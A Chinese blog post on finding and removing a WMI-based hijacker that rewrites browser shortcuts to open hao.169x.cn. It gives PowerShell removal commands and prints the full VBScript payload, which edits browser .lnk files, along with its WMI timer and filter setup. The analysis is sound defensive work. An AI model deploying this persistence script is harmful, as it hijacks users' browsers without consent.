浏览快捷方式被修改的元凶

  最近浏览器快捷方式目标属性被修改,后面上了“hao.169x.cn”这个导航 ,每次修改后一段时间总又被修改回来。最近闲下来,决心找一找元凶。
  经过一番搜索,发现是用小马激活的后遗症,而且用关键字“remove hao.169x.cn”搜索,发现不少歪果朋友也纷纷中招,顿时感觉脸上火辣辣的,中国特色牛皮癣啊。。。
  解决办法其实还好说,除了要关闭计划任务里的两个相关项,还要按篇博文所述删除WMI一些相关的东西,不过要注意wmi tool打开时应该以管理员身份运行。
  经研究后发现,其实不需wmi tool,用PowerShell也可以解决,只需以管理员身份运行cmd,输入powershell,然后执行以下代码就可以了。
gwmi -Namespace "root/cimv2" -Class __FilterToConsumerBinding -Filter "Filter = ""__eventfilter.name=‘VBScriptKids_filter‘""" | Remove-WmiObject
gwmi -Namespace "root/cimv2" -Class ActiveScriptEventConsumer -Filter "Name = ‘VBScriptKids_consumer‘" | Remove-WmiObject
gwmi -Namespace "root/cimv2" -Class __IntervalTimerInstruction -Filter "TimerID = ‘VBScriptKids_timer‘" | Remove-WmiObject
gwmi -Namespace "root/cimv2" -Class __EventFilter -Filter "Name = ‘VBScriptKids_filter‘" | Remove-WmiObject
这其实是WMI的event。WMI的event包含三种东西:Consumer, Filter和Timer,对应的class分别是:__EventConsumer,__EventFilter和__TimerInstruction。
第一条ActiveScriptEventConsumer是__EventConsumer的子类要执行的操作,它有个script属性,可以执行脚本,下面是格式化后的vb脚本内容:
On Error Resume Next

Const link = "http://hao.169x.cn/?v=108"

Const link360 = "http://hao.169x.cn/?v=108&s=3"

browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe"
lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\xxx\Desktop,C:\Users\xxx\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\xxx\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\xxx\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\xxx\AppData\Roaming\Microsoft\Windows\Start Menu\Programs"

browsersArr = Split(browsers,",")

Set oDic = CreateObject("scripting.dictionary")

For Each browser In browsersArr
    oDic.Add LCase(browser),
    browser
Next

lnkpathsArr = Split(lnkpaths,",")
Set oFolders = CreateObject("scripting.dictionary")

For Each lnkpath In lnkpathsArr
    oFolders.Add lnkpath, lnkpath
Next

Set fso = CreateObject("Scripting.Filesystemobject")
Set WshShell = CreateObject("Wscript.Shell")

For Each oFolder In oFolders
    If fso.FolderExists(oFolder) Then
        For Each file In fso.GetFolder(oFolder).Files
            If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then
                Set oShellLink = WshShell.CreateShortcut(file.Path)
                path = oShellLink.TargetPath
                name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path)
                If oDic.Exists(LCase(name)) Then
                    If LCase(name) = LCase("360se.exe") Then
                        oShellLink.Arguments = link360
                    Else
                        oShellLink.Arguments = link
                    End If
                    If file.Attributes And 1 Then
                        file.Attributes = file.Attributes - 1
                    End If
                    oShellLink.Save
                End If
            End If
        Next
    End If
Next
第三条的__IntervalTimerInstruction是__TimerInstruction的子类,是一个定时器,可以指定长时间执行一次。
第四条的__EventFilter有一个Query属性,内容是
select * from __timerevent where timerid="VBScriptKids_timer"
第一条的__FilterToConsumerBinding顾名思义就是Filter和Consumer的对应关系,相当于数据库中的多对多关系的中间表。在wmi tool这个工具里配置也很简单,只需在Filter列表里选中一个filter,在右侧的Consumer列表中选择对应的consumer,然后点右上角的“√”(Register)就好了。


推荐阅读:Windows Management Instrumentation (WMI) Offense, Defense, and Forensics(PDF)

其三篇译文:
WMI 的攻击,防御与取证分析技术之攻击篇
WMI 的攻击,防御与取证分析技术之防御篇WMI 的攻击,防御与取证分析技术之取证分析篇(作者尚未完成)

以及:
Show and Remove Permanent WMI Event Registrations
WMI Attacks--完--

原文地址 http://www.cnblogs.com/szhx/p/5296822.htmlBy 博客园-心亦

为什么字数还少于150。。。我要被字数限制逼疯了。。。我想去睡觉了啊啊啊。。。我写一晚上容易吗我。。。真想知道150字是怎么算的啊。。。博客园你到底什么意思,150字150字。。。。。好吧,博客园你赢了
时间: 2024-11-04 23:43:58

浏览快捷方式被修改的元凶的相关文章

Ecshop商品浏览历史样式修改方法

想要修改ECSHOP的浏览历史样式,发现 history.lbi 中不能修改. 需要修改的文件:includes\lib_insert.php,找到函数:function insert_history(),下面的代码: $str.=’<ul><li><a href=”‘.$goods['url'].’” target=”_blank”><img src=”‘.$goods['goods_thumb'].’” alt=”‘.$goods['goods_name'].

Discuz 帖子浏览数的修改方法

1.打开文件夹source\module\forum下的forum_viewthread.php,查找 function viewthread_updateviews($tableid) { global $_G; $viewrnd=rand(30,50); if(!$_G['setting']['preventrefresh'] || $_G['cookie']['viewid'] != 'tid_'.$_G['tid']) { if(!$tableid && $_G['setting'

解决hao123胁持chrome等浏览器主页问题

- 转自:http://xinghao.me/2016/03/01/2016-03-01-kill-hao123/ 首先检查了一下chrome的主页设置,发现没有问题,依然是原来的google.com. 然后到chrome的安装目录,直接双击打开chrome程序,没有问题. 然后检查快捷方式.因为我把chrome固定到任务栏上,一般使用的时候都是点击任务栏图标的,而实际上这只是一个快捷方式.右键任务栏chrome图标->右键Google Chrome->属性,就会弹出该快捷方式的属性窗口.发现

动态修改类注解(赋值)

1. 动态修改注解元凶: Java代码 /**  * 对象池工具类  *   * 目前提供ORM动态映射解决方案  *   * @author andy.zheng  * @since 2012.09.25 15:55 PM  * @vesion 1.0  *   */ public class ClassPoolUtils {                  /**      * 运行时动态ORM表映射      *       *       * @param entityClassNam

QC开发只能修改指派给自己的缺陷,而其他的bug可以查看但是不允许修改

今天在QC9.0项目中增加了几个项目,然后我的想法是:开发只能修改指派给自己的缺陷,而其他的bug可以查看但是不允许修改 虽说qc我还是比较熟悉的,但是对于这个问题,感觉可能要用到脚本,对于脚本我一窍不通,所有首先在网上查了很多资料. 通过在网上查找资料,发现其实这方面的东西不是很多的,后面在我第一个群里面请教了很多高手,刚开始的时候在权限里面可以完成我的预期结果(具体位置工具-->自定义-->权限)如图 找到了这个位置,但是这个只是控制bug所有者可以修改这个bug,与我的要求还是有差距的.

ecshop编辑器FCKeditor修改成KindEditor编辑批量上传图片

ecshop一直使用的编辑器是fck,这个不用多说,相信很多朋友用的很悲剧吧,特别是图片不能批量上传图片. 今天小编就分享一下怎么换掉fck,放上实用的kindeditor,最新ecshop版本的哦.方法如下: 1.官方网站下载最新版kindeditor 现在最先版本的是:kindeditor4.1.4,官方网址:http://www.kindsoft.net 2.上传解压 上传下载的压缩文件到你的网站include目录下,解压kindeditor4.1.4,将其文件夹名称改为:kindedit

实现dedecms全站动态浏览

dedecms默认是生成静态文件,如何实现织梦全站动态浏览呢? 织梦全站动态浏览方法 1. 修改首页为动态浏览 后台-生成-更新首页-勾选"仅动态浏览" 2. 修改栏目页为动态浏览 ①添加或编辑栏目时勾选"使用动态页" ②如果有已添加但未设置动态浏览的栏目,可以直接执行下面SQL修改: update dede_arctype set isdefault=-1 ③以后添加栏目时默认动态浏览: \dede\templets\catalog_add.htm <td&

Chrome修改浏览器User Agent

对浏览器快捷方式右键->修改目标项为 C:\Users\LJ\AppData\Local\Google\Chrome\Application\chrome.exe --user-agent="Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A537a Safari/419.3 C:\Users\LJ\AppData\Local\Go

如何解决Windows10系统MSN域名被绑架的问题

可能大家熟悉的是360,ie等等,但我们还可以选择很多的浏览器浏览网页,比如msn.有的用户喜欢在MSN主页上浏览新闻,但是最近却用户在使用Windows10系统打开MSN主页后,电脑就会直接跳转到hao123.com的首页.这种情况让这样用户非常的郁闷,应该如何解决呢?那么下面小编就来看看具体解决的操作步骤吧. 1.首先,我们可以按住左shift键,再点击电源的重启; 2.然后,我们可以在疑难解答-高级选项-启动设置-重启,选择4或者F4进入安全模式,在安全模式下进行卸载,用Windows D